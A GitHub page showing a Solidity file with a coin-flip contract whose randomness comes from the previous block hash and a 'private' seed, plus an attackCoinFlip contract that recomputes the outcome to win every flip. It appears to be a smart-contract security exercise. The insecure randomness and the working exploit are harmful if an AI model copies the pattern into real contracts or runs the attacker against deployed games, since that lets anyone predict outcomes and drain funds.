-
Notifications
You must be signed in to change notification settings - Fork 0
/
coinFlip.sol
74 lines (53 loc) · 1.68 KB
/
coinFlip.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract coinFlip {
uint public lastGame;
bool public lastWin;
uint public consecutiveWins;
uint private seed = 262662626267829762592976282929727727;
function getInfo() public view returns(uint, bytes32, uint){
uint blockNumber = block.number - 1;
bytes32 hash = blockhash(blockNumber);
uint semiRandomNumber = uint(hash);
return (blockNumber,hash,semiRandomNumber);
}
function flip(bool guess) public returns(bool){
bool flipped;
uint blockNumber = block.number - 1;
bytes32 hash = blockhash(blockNumber);
uint semiRandomNumber = uint(hash);
require(lastGame != blockNumber, "you already played this round");
lastGame = blockNumber;
if(semiRandomNumber/seed % 2 != 0){
flipped = true;
}else{
flipped = false;
}
if(flipped == guess){
consecutiveWins += 1;
lastWin = true;
return true;
}else{
consecutiveWins = 0;
lastWin = false;
return false;
}
}
}
contract attackCoinFlip {
coinFlip public coinFlipContract;
uint private seed = 262662626267829762592976282929727727;
constructor(address addy){
coinFlipContract = coinFlip(addy);
}
function tryToWin() public {
uint blockNumber = block.number - 1;
bytes32 hash = blockhash(blockNumber);
uint semiRandomNumber = uint(hash);
if(semiRandomNumber/seed % 2 != 0){
coinFlipContract.flip(true);
}else{
coinFlipContract.flip(false);
}
}
}